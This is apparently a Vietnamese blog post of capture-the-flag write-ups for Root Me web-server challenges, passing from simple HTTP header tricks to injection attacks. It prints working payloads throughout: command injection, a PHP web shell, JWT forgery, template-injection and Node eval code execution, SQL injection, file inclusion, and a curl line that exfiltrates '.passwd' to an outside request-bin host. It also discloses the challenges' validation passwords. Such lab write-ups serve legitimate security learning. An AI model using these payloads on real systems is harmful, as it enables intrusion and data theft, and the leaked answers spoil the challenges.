Root me websolution/web-server

Root me websolution/web-server

·

40 min read

WEB_SERVER

1. HTML - Code source

  • Bài này thì y như tên gọi chỉ cần bật source code lên xem là được.

    Screenshot 2022-04-12 172316

2. HTTP - Contournement de filtrage IP

  • Bài này yêu cầu truy cập vào mạng nội bộ bằng địa chỉ ip riêng khi kết nối vào mạng nội bộ của công ty.

  • Ở đây dùng http header để kết nối vào

X-Forwarded-For: 192.168.0.1

Screenshot 2022-04-12 173840

  • Send và mật khẩu được trả về thành công
Well done, the validation password is: Ip_$po0Fing

3. HTTP - Open redirect

  • Theo như tên đề bài thì ta cần phải chuyển hướng tới 1 trang web nào đó cụ thể là https://google.com

    Screenshot 2022-04-12 174216

  • Nhìn thấy thẻ a thì có truyền vào tham số h, để ý kĩ thì có 32 kí tự chắc là tên miền được mã hóa md5. Encode thì đúng. Vậy chỉ cần encode https://google.com là ra kết quả.

    Screenshot 2022-04-12 174555

    Screenshot 2022-04-12 174611

4. HTTP - User-agent

  • Thì bài này ngay khi truy cập đã nhận được tin này
Wrong user-agent: you are not the "admin" browser!
  • Rất dễ thấy user-agent là thông tin về browser của mình chỉ cần cho nó là admin thì thành công.

    Screenshot 2022-04-12 175110

    Screenshot 2022-04-12 175122

5. Weak password

  • Theo như đúng tên đề bài thì bài này nói về mật khẩu rất yếu thì cứ admin, admin ai ngờ thành công
pass = admin

6. PHP - Injection de commande

  • Lời gợi ý thì mật khẩu nằm trong file index.php. Nên chắc phải mở được file đó ra xem.

  • Trang web cho mình một form input với gợi ý là địa chỉ local. Nhập thì thấy có vẻ input gọi hàm shell_exec(ping).

    Screenshot 2022-04-12 180112

  • Vì hàm shell_exec() là hàm dễ bị khai thác nên có thể tìm kiếm, đọc file.

  • Đầu tiên thì liệt kê danh sách các file ra xem thì có file index.php sau đó đọc file.

payload = 127.0.0.1; ls 
payload = 127.0.0.1; cat index.php
  • Ta tìm được source code
<?php 
$flag = "".file_get_contents(".passwd")."";
if(isset($_POST["ip"]) && !empty($_POST["ip"])){
        $response = shell_exec("timeout 5 bash -c 'ping -c 3 ".$_POST["ip"]."'");
        echo $response;
}
?>
- Thì flag nằm trong file .passwd chỉ cần đọc file đó lên là thành công.
payload: 127.0.0.1; cat .passwd

Screenshot 2022-04-12 180948

7. Backup file

  • Đề bài yêu cầu cần tìm được file backup và thử thì tồn tại file index.php.

  • Thường thì extension file backup sẽ là .BAK, .TMP, .GHO , ~

  • Thử lần lượt thì ~ là chuẩn và đã tải được file index.php về.

  • Bây giờ chỉ cần mở lên rồi đọc password là thành công

$username="ch11";
$password="OCCY9AcNm1tj";


echo '
      <html>
      <body>
    <h1>Authentication v 0.00</h1>
';

if ($_POST["username"]!="" && $_POST["password"]!=""){
    if ($_POST["username"]==$user && $_POST["password"]==$password)
    {
      print("<h2>Welcome back {$row['username']} !</h2>");
      print("<h3>Your informations :</h3><p>- username : $row[username]</p><br />");
      print("To validate the challenge use this password</b>");
    } else {
      print("<h3>Error : no such user/password</h2><br />");

    }
}

echo '
    <form action="" method="post">
      Login&nbsp;<br/>
      <input type="text" name="username" /><br/><br/>
      Password&nbsp;<br/>
      <input type="password" name="password" /><br/><br/>
      <br/><br/>
      <input type="submit" value="connect" /><br/><br/>
    </form>
      </body>
      </html>
';

?>

8. HTTP - Directory indexing

  • Xem source code thì thấy có directory
<!-- include("admin/pass.html") -->
  • Vô path admin rồi đọc file admin là có password
Password: Linux

9. HTTP - Headers

  • Bài này về HTTP headers vô phần network xem request thì thấy phần response có phần Header-RootMe-Admin: none mà phần request không có.

  • Thêm trường Header-RootMe-Admin: none vô request là có password

    Screenshot 2022-05-13 092627

    Screenshot 2022-05-13 092647

Password: HeadersMayBeUseful

10. HTTP - Headers

  • Bài này chỉnh sửa về post, thì vô phần network và click thì có request post với scores không đủ để win game. Sửa scores rồi post lại là có password

    Screenshot 2022-05-13 093131

Screenshot 2022-05-13 093203

Screenshot 2022-05-13 093221

Password: H7tp_h4s_N0_s3Cr37S_F0r_y0U

11. HTTP - Invalid redirect

  • Đề gợi ý là chuyển hướng tới file index.php bật burpsuite và bắt request đổi hướng là có password

    Screenshot 2022-05-13 094054

Password: ExecutionAfterRedirectIsBad

12. HTTP - Verb tampering

  • Bài này yêu cầu cần thay đổi phương thức request thì chỉ cần thử lần lượt GET, POST, PUT,...

    Screenshot 2022-05-13 095036

  • Ở đây thử PUT và đã thành công

Password: a23e$dme96d3saez$$prap

13. Install files

  • Bài này guessing một chút vô soure thì có path dẫn /phpbb và xem tiêu đề bài thì vô /phpbb/install rồi đọc file php ra password

    Screenshot 2022-05-13 095553

Password: karambar

14. CRLF

  • CRLF là viết tắt của Carriage Return và Line Feed, CR và LF là các ký tự điều khiển, được mã hóa tương ứng 0x0D (13 trong hệ thập phân) và 0x0A (10 trong hệ thập phân)

  • CRLF Injection là một lỗ hổng có thể xảy ra khi người lập trình không kiểm tra kĩ càng dữ liệu người dùng đẩy lên và cho phép người dùng chèn cả các kí tự CR và LF này vào.

  • Bài này cần bypass được log là cần hiển thị được trường admin "authenticated." nhưng khi điền thì tất cả input đề false nên cần inject CRLF để tạo dòng mới.

  • Payload url

http://challenge01.root-me.org/web-serveur/ch14/?username=admin%20authenticated.%0D%0Aa&password=admin
Password: rFSP&G0p&5uAg1%

15. File upload - Double extensions

  • Bài này lỗ hổng về file upload. Tạo một file php chứa mã độc thực hiện lệnh systerm.
<?php
    if(isset($_GET['c'])){
        $shell = system($_GET['c']);
        echo $shell;
    }
?>
  • Vì phần upload hạn chế đuôi .php nên chuyển thành .php.jpg là bypass.

  • Up lên và thực hiện lệnh thôi. Password nằm ở đây

test.php.jpg?c=cat ../../../.passwd
Password: Gg9LRz-hWSxqqUKd77-_q-6G8

16. File upload - MIME type

  • Bài này làm giống như bài trên nhưng bị từ chối không thực thi lệnh php ở jpg nên cần upload thẳng file php lên.

  • Nhưng khi đó cần phải thay đổi trường MINE type sang image/png để có thể upload được lên.

  • Sửa trường Content-type: image/png là up được php lên

    Screenshot 2022-05-13 104630

  • Bây giờ đọc file .passwd là thành công.

    Screenshot 2022-05-13 104714

Password: a7n4nizpgQgnPERy89uanf6T4

17. HTTP - Cookies

  • Ban đầu cho một input thì nhập admin vào nhưng nhập gì cũng chỉ là user bình thường.

  • Vô phần request xem thì mặc định cookie là user nên chỉ cần thay đổi thành admin là thành công

    Screenshot 2022-05-13 104929

    Screenshot 2022-05-13 105200

    Screenshot 2022-05-13 105225

Password: ml-SYMPA

18. Insecure Code Management

  • Bài này về quản lý code không an toàn nên nói về quản lý code thì phải có file .git

  • Tải file về rồi check file git lên là có pass

commit c0b4661c888bd1ca0f12a3c080e4d2597382277b (HEAD -> master)
Author: John <john@bs-corp.com>
Date:   Fri Sep 27 20:10:05 2019 +0200

    blue team want sha256!!!!!!!!!

diff --git a/config.php b/config.php
index e11aad2..663fe35 100644
--- a/config.php
+++ b/config.php
@@ -1,3 +1,3 @@
 <?php
        $username = "admin";
-       $password = "s3cureP@ssw0rd";
+       $password = "0c25a741349bfdcc1e579c8cd4a931fca66bdb49b9f042c4d92ae1bfa3176d8c";
diff --git a/index.php b/index.php
index f7237d0..2e620c1 100755
--- a/index.php
+++ b/index.php
@@ -13,7 +13,7 @@
                <?php
                        include('./config.php');
                        if(isset($_POST['username']) && isset($_POST['password'])){
-                               if ($_POST['username'] == $username && md5($_POST['password']) == md5($password)){
+                               if ($_POST['username'] == $username && hash('sha256', $_POST['password']) == $password){
                                        echo "<p id='left'>Welcome  ".htmlentities($_POST['username'])."</p>";
                                        echo '<input type="submit" value="LOG IN" href="./index.php" class="button" />';
                                }
Password: s3cureP@ssw0rd

20. JSON Web Token (JWT) - Introduction

  • Bài này có trường đăng nhập bằng guess và cấp cho cookie là jwt.

  • Phân tích thì nhận được

    Screenshot 2022-05-13 113113

    Screenshot 2022-05-13 113245

  • Chuyển username thành admin và không cần chế độ mã hóa alg là none rồi đổi cookie lại là xong

{
  "typ": "JWT",
  "alg": "none"
}
{
  "username": "guest"
}

ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIm5vbmUiCn0=
ewogICJ1c2VybmFtZSI6ICJndWVzdCIKfQ==
=> Cookie: jwt= ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIm5vbmUiCn0.ewogICJ1c2VybmFtZSI6ICJndWVzdCIKfQ==

Screenshot 2022-05-13 113700

Password: S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7

21. Directory traversal

  • Bài này dò path ẩn qua truyền tham số vào biến galerie=.

  • Phát hiện được 1 path lạ 86hwnX2r

<table id="content">
        <tr>
            <td><img width="64px" height="64px" src="galerie//86hwnX2r" alt="86hwnX2r">
            </td>
        </tr>
        <tr>
            <td><img width="64px" height="64px" src="galerie//emotes" alt="emotes">
            </td>
            <td><img width="64px" height="64px" src="galerie//apps" alt="apps">
            </td>
            <td><img width="64px" height="64px" src="galerie//devices" alt="devices">
            </td>
        </tr>
        <tr>
            <td><img width="64px" height="64px" src="galerie//categories" alt="categories">
            </td>
            <td><img width="64px" height="64px" src="galerie//actions" alt="actions">
            </td>
        </tr>
    </table>
  • Vô xem thì có file password đọc thôi
<table id="content">
    <tr></tr>
    <tr>
        <td><img width="64px" height="64px" src="galerie/86hwnX2r/password.txt" alt="password.txt">
        </td>
        <td><img width="64px" height="64px" src="galerie/86hwnX2r/hacked_web.jpg" alt="hacked_web.jpg">
        </td>
        <td><img width="64px" height="64px" src="galerie/86hwnX2r/secret.png" alt="secret.png">
        </td>
    </tr>
    <tr></tr>
</table>
Password: kcb$!Bx@v4Gs9Ez

22. File upload - Null byte

  • Bài này lỗi ở kí tự null byte vì nó chỉ check đuôi file đến khi gặp kí tự null byte là dừng lại không check nữa nên chỉ cần chèn null byte vô tên file là thành công(injec.php%00.png)

  • Lỗi này đã được fix từ phiên bản PHP 5.3.

    Screenshot 2022-05-13 122507

    Screenshot 2022-05-13 122521

Password: YPNchi2NmTwygr2dgCCF

23. JSON Web Token (JWT) - Weak secret

  • Vào đầu tiên thì họ có đưa một đoạn mess
{"message": "Let's play a small game, I bet you cannot access to my super secret admin section. Make a GET request to /token and use the token you'll get to try to access /admin with a POST request."}
  • Thì theo đường path /token thì có đưa một đoạn token jwt và yêu cầu POST bằng token đó.
{"Here is your token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"}
  • Sau khi post vô /admin thì nhận được mess này
{"message": "method to authenticate is: 'Authorization: Bearer YOURTOKEN'"}
  • Thêm trường Authorization vô thì nhận tiếp
{"message": "I was right, you are not able to break my super crypto! I use HS512 so no need to have a strong secret!"}
  • jwt.io để xem trong token có gì
{"role": "guest"}
  • Cần thay đổi role thành admin nhưng không có private key nêu do bài yêu cầu brute force password nên dùng jwt_tool để tìm.

    Screenshot 2022-05-14 150511

  • Private key là "lol" vậy chỉ cần mã hóa là xong.

    Screenshot 2022-05-14 150745

    Screenshot 2022-05-14 150758

Password: PleaseUseAStrongSecretNextTime

24. JWT - Revoked token

  • Đầu tiên vô thì họ cho mess này
POST : /web-serveur/ch63/login <br>
GET : /web-serveur/ch63/admin
  • POST với login thì nhận được cần phải login dạng json
{"msg":"Bad request. Submit your login / pass as {\"username\":\"admin\",\"password\":\"admin\"}"}
  • Đăng nhập thì nhận được một token để login vô admin.

    Screenshot 2022-05-14 153527

  • Vô trang login admin bằng token xem nhận được token bị revoked.

  • Để ý đoạn code đề bài cho thì ngay khi đăng nhập thành công thì lập tức token bị cho vào black_list

def login():
    try:
        username = request.json.get('username', None)
        password = request.json.get('password', None)
    except:
        return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400

    if username != 'admin' or password != 'admin':
        return jsonify({"msg": "Bad username or password"}), 401

    access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
    ret = {
        'access_token': access_token,
    }

    with lock:
        blacklist.add(access_token)

    return jsonify(ret), 200
  • Do đó khi kiểm tra thì token tại trường Authorization bị dính do đó cần bypass đoạn Authorization.
def protected():
    access_token = request.headers.get("Authorization").split()[1]
    with lock:
        if access_token in blacklist:
            return jsonify({"msg":"Token is revoked"})
        else:
            return jsonify({'Congratzzzz!!!_flag:': FLAG})
  • Theo như trường Authorization thì giá trị token sẽ bị base64 decode để đọc giữ liệu. Trong khi đó các kí tự "=" có thể bypass được vậy thêm dấu "=" vô sau token là được.
{"Congratzzzz!!!_flag:":"Do_n0t_r3v0ke_3nc0d3dTokenz_Mam3ne-Us3_th3_JTI_f1eld"}

25. PHP - assert()

  • Đầu tiên vô trang index thì phát hiện path đều được truyền qua tham số ?page= điền ?page=' thì xuất hiện 1 lỗi.
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /challenge/web-serveur/ch47/index.php(8) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: strpos('includes/'.php', '..') === false in /challenge/web-serveur/ch47/index.php on line 8
  • Có thể thấy được cú pháp của server là
assert(strpos('include/'.$file.'.php', '..') === false)
  • Inject vào thôi điền
?page=test' , '') or system('ls -a');//
Lúc đó server sẽ trở thành
assert(strpos('include/test.php', '') or system(ls -a); // '..') === false)
  • Và hiện file .passwd và đọc thôi
Warning: strpos(): Empty delimiter in /challenge/web-serveur/ch47/index.php(8) : assert code on line 1 . .. ._nginx.http-level.inc ._nginx.server-level.inc ._perms ._php53-fpm.pool.inc .git .passwd includes index.php 'includes/alo' ,'') or system("ls -a");//.php'File does not exist

Thay lệnh cat .passwd ra flag

Warning: strpos(): Empty delimiter in /challenge/web-serveur/ch47/index.php(8) : assert code on line 1 The flag is / Le flag est : x4Ss3rT1nglSn0ts4f3A7A1Lx Remember to sanitize all user input! / Pensez à valider toutes les entrées utilisateurs ! Don't use assert! / N'utilisez pas assert ! 'includes/alo','') or system("cat .passwd");//.php'File does not exist
Password: x4Ss3rT1nglSn0ts4f3A7A1Lx

25. PHP - Filters

  • Bài này là về Filter wrapper trong PHP stream đọc hiểu stream PHP tại: https://viblo.asia/p/tim-hieu-ve-streams-trong-php-63vKjmaM52R

  • Đây là một dạng LFI

  • PHP filter được dùng để xác thực và làm sạch đầu vào bên ngoài. Có rất nhiều filter có thể được dùng. Một trong số đó là convert.base64-encode và base64-decode.

  • php://filter/convert.base64-encode/resource cho phép chúng ta đọc bất kì file php nào. Tuy nhiên chúng sẽ được mã hóa base-64. Và chúng ta phải decode nó để có thể xem source các file

  • Thử dùng đầu tiên cho file login.php

?inc=php://filter/convert.base64-encode/resource=login.php
- Được chuỗi
PD9waHAKaW5jbHVkZSgiY29uZmlnLnBocCIpOwoKaWYgKCBpc3NldCgkX1BPU1RbInVzZXJuYW1lIl0pICYmIGlzc2V0KCRfUE9TVFsicGFzc3dvcmQiXSkgKXsKICAgIGlmICgkX1BPU1RbInVzZXJuYW1lIl09PSR1c2VybmFtZSAmJiAkX1BPU1RbInBhc3N3b3JkIl09PSRwYXNzd29yZCl7CiAgICAgIHByaW50KCI8aDI
- Base64 decode
<?php
include("config.php"); ...
  • Có file config.php rồi làm như trên vào là có flag
?inc=php://filter/convert.base64-encode/resource=config.php
- Chuỗi
PD9waHAKJHVzZXJuYW1lPSJhZG1pbiI7CiRwYXNzd29yZD0iREFQdDlEMm1reTBBUEFGIjsK
- Base64 decode
$username="admin";
$password="DAPt9D2mky0APAF";

26. PHP - register globals

  • Register globals là một số biến globals như $_GET, $_POSRT, $_SESSION,..

  • Xem phần gợi ý có thấy người lập trình đã để lại tập backup lại.

  • Dùng dirsearch để tìm file thì thấy có file index.php.bak.

  • Tải về và đọc chú ý đoạn đăng nhập

if (( isset ($password) && $password!="" && auth($password,$hidden_password)==1) || (is_array($_SESSION) && $_SESSION["logged"]==1 ) ){
    $aff=display("well done, you can validate with the password : $hidden_password");
} else {
    $aff=display("try again");
}
  • Có 2 cách để đăng nhập nhưng mình không biết password nên chỉ có thể đăng nhập bằng SESSION thì chỉ cần cài cái $_SESSION["logged"]==1 là xong.
http://challenge01.root-me.org/web-serveur/ch17/?_SESSION[logged]=1

well done, you can validate with the password : NoTQYipcRKkgrqG

27. PHP - Remote Xdebug

  • Xdebug là một extension dành cho PHP, khi cài đặt nó nó sẽ cập nhật lại việc hiện thị lỗi, cập nhật một số lệnh có sẵn (như var_dump), đặc biệt nó cho phép kết nối đến các IDE (như Visual Studio Code, PHPStorm ...) để gỡ rối mã PHP, lúc này từ IDE có thể thực hiện việc đặt các breakpoint (điểm dừng mã để trích xuất, xem các thông tin ...) cũng như các thao tác Debug như : Step Into, Step Over, Restart ...

28. Python - Server-side Template Injection Introduction

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls -a').read() }}

{"content":".\n..\n._firewall\n.git\n._nginx.server-level.inc\n.passwd\n._perms\nrequirements.txt\n._run\nserver_ch74.py\nstatic\ntemplates\n","title":"aa"}
  • Có file .passwd đọc lên là có flag
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat .passwd').read() }}

{"content":"Python_SST1_1s_co0l_4nd_mY_p4yl04ds_4r3_1ns4n3!!!\n","title":"aa"}

29. File upload - ZIP

  • Đầu tiên vô trang thì thấy có 1 form upload file zip đưa file zip bình thường sẽ bị đổi tên.

  • Thì đưa file zip text sẽ giải nén và đọc.

  • File zip chứa php ko thực thi được trong thư mục upload (403 Forbidden).

$zip –m filename.zip file.txt
  • Cách làm là upload 1 file chứa liên kết symlink với file index.php là có thể đọc được.

    Screenshot 2022-05-20 100105

- Tạo 1 file index.txt. Vì file index.php nằm cách 3 thư mục sau uploads ch51/tmp/upload/628704ff631c53.92359809/
ln -s ../../../index.php index.txt
zip --symlinks index.zip index.txt
  • Upload file đó lên là có thể đọc được.
Don't know if this is safe, but it works, someone told me the flag is N3v3r_7rU5T_u5Er_1npU7 , did not understand what it means

30. Command injection - Filter bypass

  • Bài này giống bài đầu nhưng khi ping đúng ip thì chỉ hiện ping OK.

  • Thì tìm được payload list command tại https://github.com/payloadbox/command-injection-payload-list

  • Ở đây dùng %0A để tạo lệnh mới vì dùng ; để ngắt lệnh thì sẽ hiện Syntax Error vì các lệnh trên đã bị filter.

  • Và tất cả các lệnh ping đều bị blind nên dùng request bin để bắt request.

  • Cách đọc file với curl và đề có hướng dẫn đọc file index.php

curl --data "@/path/to/filename" http://....

ip=127.0.0.1+%0A+curl+--data+"@index.php"+https://eoje6sdrijfzw1h.m.pipedream.net

Screenshot 2022-05-20 103721

  • Đọc file .passwd là có flag
ip=127.0.0.1+%0A+curl+--data+"@.passwd"+https://eoje6sdrijfzw1h.m.pipedream.net

body
{1}
Copy Path
•
Copy Value
Comma@nd_1nJec7ion_Fl@9_1337_Th3_G@m3!!!:

31. Java - Server-side Template Injection

  • Đây là lỗi thực thi code template đi theo hình này thôi.

    Screenshot 2022-05-20 132246

${7*7} => It's seems that I know you :) 49
a{*comment*}b => It's seems that I know you :) a{*comment*}b
${"z".join("ab")} =>
{"timestamp":1653027964406,"status":500,"error":"Internal Server Error","exception":"freemarker.core.ParseException","message":"Syntax error in template \"5b375e31-2d6b-49d1-88b6-e6c23fa1d027\" in line 1, column 54:\nFound string literal: \"z\". Expecting: hash","path":"/web-serveur/ch41/check"}
  • Ta tìm thấy freemarker. FreeMarker là một hệ bản mẫu web cho nền tảng Java, mục đích ban đầu dùng để tạo dựng web động với kiến trúc MVC.

  • Mục tiêu là Java template injection.

  • Sau một hồi tìm kiếm tên mạng thì tìm được payload này để thực hiện RCE.

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
  • Và nó chạy hiệu quả vậy chỉ cần liệt kê và đọc file flag là được.
nickname=<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ls -a") }
=> ..
.git
.gitignore
._nginx.server-level.inc
.oracle_jre_usage
._perms
pom.xml
._run
SECRET_FLAG.txt
src
target

nickname=<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat SECRET_FLAG.txt") }
=> It's seems that I know you :)  B3wareOfT3mplat3Inj3ction

33. Local File Inclusion

  • Đọc tên đề là tấn công LFI thì dùng payload bình thường để đọc các file cha thôi.
files=..
=> Ta tìm được file admin và index.php
  if (isset($_GET["f"]) && $_GET["f"]!=""){

    $lfi_path=$full_path."/".$_GET["f"];
    $secured_path=realpath($lfi_path);
    $aff.= "<h3>File : ".htmlentities($_GET["f"])."</h3>";
    $aff.= "<hr/><pre>";
    $aff.= htmlentities(file_get_contents($secured_path));
    $aff.= "</pre><hr/>";


    }
  • PHP sẽ dùng hàm file_get_contents(path) để đọc file vậy chỉ cần đọc file admin sẽ thấy file index.php đọc là có flag.
files=../admin
=> $users = array('admin' => 'OpbNJ60xYpvAQU8');

34. Local File Inclusion - Double encoding


simbol : simple encoding : double encoding

:          : 3A    : %253A

/    : 2F    : %252F

.    : 2E    : %252E

-    : 2D    : %252D

=    : 3D    : %253D
  • Payload
page=php%253A%252F%252Ffilter%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dcv
- Được 1 chuỗi base64 encode ra tìm được 1 file conf.init.php
<?php include("conf.inc.php"); ?>
  • Vậy đọc file trên là ra flag. Vì file được truyền khởi tạo bởi tham số nên không cần ghi tên đuôi vì nó sẽ tự truyền vào cho mình.
page=php%253A%252F%252Ffilter%252Fconvert%252Ebase64-encode%252Fresource%253Dconf
    "flag"        => "Th1sIsTh3Fl4g!",
    "home"        => '<h2>Welcome</h2>

35. Node - Eval

  • Đây là bài về lỗi eval trong js.

  • Hàm eval(string) sẽ tính toán nếu là chuỗi tính toán và thực thi code nếu là script.

  • Vì đề là nodejs nên thử truyền vào 1 hàm xem sao.

res.end("abcd")
  • Và trang web đã hiện lên "abcd" chứng tỏ chỉ cần thực thi cmd vào là được.
res.end(require('child_process').spawnSync('ls',['-la']).stdout.toString())
- Thêm module child_process vào và thực hiện command là được.
- Trong file S3cr3tEv0d3f0ld3r còn file nữa 
- Dùng để đọc filepath
res.end(require('fs').readdirSync('./S3cr3tEv0d3f0ld3r').toString())
- Dùng để đọc tên file
res.end(require('fs').readFileSync('./S3cr3tEv0d3f0ld3r/Ev0d3fl4g').toString())
Password: D0n0tTru5tEv0d3B4nK!

36. PHP - Loose Comparison

  • Mở bài thì họ cho 2 cái input vì cho source để đọc lên.
<?php
function gen_secured_random() { // cause random is the way
    $a = rand(1337,2600)*42;
    $b = rand(1879,1955)*42;
    $a < $b ? $a ^= $b ^= $a ^= $b : $a = $b;
    return $a+$b;
}
function secured_hash_function($plain) { // cause md5 is the best hash ever
    $secured_plain = sanitize_user_input($plain);
    return md5($secured_plain);
}
function sanitize_user_input($input) { // cause someone told me to never trust user input
    $re = '/[^a-zA-Z0-9]/';
    $secured_input = preg_replace($re, "", $input);
    return $secured_input;
}
if (isset($_GET['source'])) {
    show_source(__FILE__);
    die();
}
require_once "secret.php";

if (isset($_POST['s']) && isset($_POST['h'])) {
    $s = sanitize_user_input($_POST['s']);
    $h = secured_hash_function($_POST['h']);
    $r = gen_secured_random();
    if($s != false && $h != false) {
        if($s.$r == $h) {
            print "Well done! Here is your flag: ".$flag;
        }
        else {
            print "Fail...";
        }
    }
    else {
        print "<p>Hum ...</p>";
    }
}
?>
  • Thuật toán là nhập seed và hash
$r: chỉ là số random
$s: là input của seed sau khi lọc data.
$h: là md5 của seed.
TRUE: "0000" == int(0)
▪ TRUE: "0e12" == int(0)
▪ TRUE: "1abc" == int(1)
▪ TRUE: "0abc" == int(0)
▪ TRUE: "abc" == int(0) // !!
TRUE: "0e12345" == "0e54321"
▪ TRUE: "0e12345" <= "1"
▪ TRUE: "0e12345" == "0"
▪ TRUE: "0xF" == "15"
  • Đó như vậy chú ý trên muốn hiện flag thì phải bypass qua điều kiện này
$s.$r == $h
$s.$r là nối chuỗi nên random không cần phải chú ý.
  • Vì lỗ hổng ở TRUE: "0e12345" == "0e54321" theo đọc thì "0e" có nghĩa là 0 mũ mà 0 mũ bao nhiêu cũng bằng nhau nên có thể để cho 2 vế là 0 mũ.
$s: có thể điền "0e" được bây giờ để bằng $h thì $h cần phải chứa "0e" cái này brute force tay.
  • Đoạn code python
import hashlib
import re
for i in range(0,9999999999):
    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    # reget là xác nhận phù hợp input đầu vào
    reget = re.match("^[0-9]+$",md5[3:])
    if md5[0:2] == "0e" and reget:
        print("Seed: " + str(i) + " and Hash: " + md5)
        break
    else:
        print("None: " + str(i))
s
  • Brute force hơi lâu nên lên mạng tìm và tìm được "240610708"

  • Nhập vô là thành công.

sead: 0e
hash: 240610708

Well done! Here is your flag: F34R_Th3_L0o5e_C0mP4r15On

37. PHP - preg_replace()

  • Hàm preg_replace dùng để replace một chuỗi nào đó khớp với đoạn Regular Expression truyền vào.
preg_replace ( $pattern, $replacement, $subject)
  • Đây là tấn công hàm preg_replace() có thể xem cách khai thác tại http://www.madirish.net/402

  • Với việc truyền thêm /e (đề bài có gợi ý) thì hàm trên sẽ thực thi hàm $subject truyền vào vậy nếu ta thay thế bằng mã độc thì sẽ rất nguy hiểm.

  • Còn nếu không có /e thì nó chỉ là chuỗi bình thường.

  • Payload:

search: /a/e
replace: file_get_contents('flag.php') vì các hàm system(), exec(),... bị filter.
content: a

=><?php $flag="".file_get_contents(".passwd").""; ?>
search: /a/e
replace: file_get_contents('.passwd')
content: a
Password: pr3g_r3pl4c3_3_m0d1f13r_styl3

38. PHP - type juggling

  • Bài này là do câu so sánh có vấn đề
if($auth['data']['login'] == $USER && !strcmp($auth['data']['password'], $PASSWORD_SHA256)){
        $return['status'] = "Access granted! The validation password is: $FLAG";
    }

Screenshot 2022-05-20 212523

Screenshot 2022-05-20 212646

  • Như vậy chỉ cần truyền mảng vào password và truyền login = 0 thì 2 giá trị Null có thể bypass được rồi.
{"data":{"login":0,"password":["aaa"]}}
%7b%22%64%61%74%61%22%3a%7b%22%6c%6f%67%69%6e%22%3a%30%2c%22%70%61%73%73%77%6f%72%64%22%3a%5b%22%61%61%61%22%5d%7d%7d

{"status":"Access granted! The validation password is: DontForgetPHPL00seComp4r1s0n\n"}

39. Remote File Inclusion

  • Đầu tiên thì cho truyền tham số với lang= chắc là truyền file.

  • LFI bình thường ../../../index.php thì bị báo lỗi

 Failed opening '../../../index.php_lang.php'
  • Có lẽ bị tự động thêm đuôi _lang.php ta có thể hình dung được code là.
include($language."_lang.php");
  • Dùng stream filter LFI nhưng cũng không thành công vậy chỉ còn RFI thôi.

  • Thử chuyển hướng sang google.com xem sao.

?lang=https://google.com?
- Ở đây để bypass cái thêm chuỗi _lang.php thì sau khi mò trên mạng tìm thấy được SUFFIX là dùng "?"
  • Và đã chuyển thành công sang google.com

    Screenshot 2022-05-20 151048

  • Ở đây dùng pastebin để share code nhớ dùng bản raw để đỡ hiện những phần thừa

    Screenshot 2022-05-20 151136

  • Payload:

?lang=https://pastebin.com/raw/Hc61Dy9h?

Screenshot 2022-05-20 151407

40. SQL injection - Authentication

  • Đầu tiên họ cho form đăng nhập thì vì lỗi SQL bình thường nên payload
username = admin'--
password = admin
Password: t0_W34k!$

41. SQL injection - Authentication - GBK

  • GBK là phần ký tự Trung Quốc giản thể. GBK bao gồm tất cả ký tự Trung Quốc được định nghĩa trong unicode.

  • Thường thì bên server sẽ sử dụng để bypass hàm addslashes().

  • addslashes() dùng để thêm một dấu gạch chéo ngược (\) phía trước các ký tự là dấu nháy kép, dấu nháy đơn và dấu gạch chéo ngược trong chuỗi.

  • Do đó nếu thêm dấu ' vào thì nó sẽ thành \' thêm slashes vào.

  • Vì vậy giải pháp là chuyển thành GBK thì sẽ bypass được.

  • Đầu tiên họ cho trang login thì chuyển login thành mảng để xem lỗi và họ báo lỗi dùng addslashes().

login[]=admin&password=admin
  • Vì kí tự %bf%5c hay %af%5c là ký tự Trung Quốc nên ta chỉ gần thêm %bf thì hàm sẽ thêm %5c(\) vô sau và trở thành ký tự Trung Quốc.
-- -: là comment trên mysql
': là %27
payload: login=%bf' or 1 = 1 -- -&& password = admin
Ấn chuyển hướng trang =>
Congratz! The validation password is: iMDaFlag1337!

42. SQL injection - String

  • Đầu tiên tìm lỗi thì thấy ở thanh search khi nhập dấu ' báo lỗi SQLite3::query(): nên ta biết họ dùng SQLite3.

  • Tìm kiếm số bảng thì thấy có 2 bảng.

payload: recherche = 1' order by 3--
=> bị lỗi nên có 2 bảng.
  • Khai thác union query tìm kiếm tên bảng tìm được bảng news và users.
payload: recherche=1' union select NULL,sql from sqlite_master--
  • Rồi xem thông tin users
payload: recherche=1' union select username,password from users--
=> username = admin , password = c4K04dtIaJsuWdi

43. XSLT - Code execution

  • XSLT (viết tắt của tiếng Anh XSL Transformations) là một ngôn ngữ dựa trên XML dùng để biến đổi các tài liệu XML. Tài liệu gốc thì không bị thay đổi; mà thay vào đó, một tài liệu XML mới được tạo ra dựa trên nội dung của tài liệu cũ. Tài liệu mới có thể là có định dạng XML hay là một định dạng nào đó khác, như HTML hay văn bản thuần. XSLT thường dùng nhất trong việc chuyển đổi dữ liệu giữa các lược đồ XML hay để chuyển đổi dữ liệu XML thành các trang web hay tài liệu dạng PDF.

  • Bài này truyền file .xsl dưới tham số xsl.

  • Dùng pastebin để tạo ra đoạn code xsl check xem có attack được không.

<?xml version="1.0" encoding="utf-8"?> 
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> 
    <xsl:template match="/"> 
        XSLT Version : <xsl:value-of select="system-property('xsl:version')"/> 
        XSLT Vendor : <xsl:value-of select="system-property('xsl:vendor')"/> 
